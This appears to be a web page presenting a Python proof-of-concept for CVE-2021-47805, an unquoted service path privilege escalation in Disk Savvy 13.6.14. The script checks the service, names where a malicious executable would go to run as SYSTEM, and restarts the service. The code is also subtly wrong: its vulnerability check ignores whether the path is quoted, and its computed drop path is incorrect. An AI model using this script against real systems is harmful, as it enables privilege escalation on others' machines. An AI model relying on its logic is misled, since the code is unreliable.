CVE-2021-47805: Disk Savvy 13.6.14 未引号服务路径权限提升漏洞

# CVE-2021-47805 PoC - Unquoted Service Path in Disk Savvy # This script demonstrates how to exploit the unquoted service path vulnerability # to escalate privileges to LocalSystem import os import sys import subprocess import shutil def check_vulnerability(): """Check if Disk Savvy service is installed and has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'DiskSavvy'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: path_line = [l for l in result.stdout.split('\n') if 'BINARY_PATH' in l] if path_line: return True, path_line[0] except: pass return False, None def exploit_unquoted_path(): """Exploit unquoted service path by placing malicious executable""" # Identify the unquoted path in Disk Savvy service configuration # Typical vulnerable path: C:\Program Files\Disk Savvy\bin\DiskSavvy.exe # Split path by spaces to find potential injection points base_path = "C:\\Program Files\\Disk Savvy\\bin" # Create malicious executable name based on path segments # If path is unquoted, Windows will try to execute first word before space malicious_exe = os.path.join(base_path.split()[0], "Program.exe") # In real attack, this would be the actual malicious payload # For demonstration, we'll show the concept print(f"[*] Malicious executable should be placed at: {malicious_exe}") print("[*] When DiskSavvy service restarts, it will execute this file as SYSTEM") # Trigger service restart (requires administrator privileges for actual exploitation) try: subprocess.run(['sc', 'stop', 'DiskSavvy'], capture_output=True) subprocess.run(['sc', 'start', 'DiskSavvy'], capture_output=True) print("[+] Service restart triggered") except Exception as e: print(f"[-] Failed to restart service: {e}") if __name__ == "__main__": print("CVE-2021-47805 - Disk Savvy Unquoted Service Path Exploitation") print("=" * 60) is_vulnerable, path_info = check_vulnerability() if is_vulnerable: print(f"[+] Disk Savvy service found with path: {path_info}") exploit_unquoted_path() else: print("[-] Disk Savvy service not found or not vulnerable")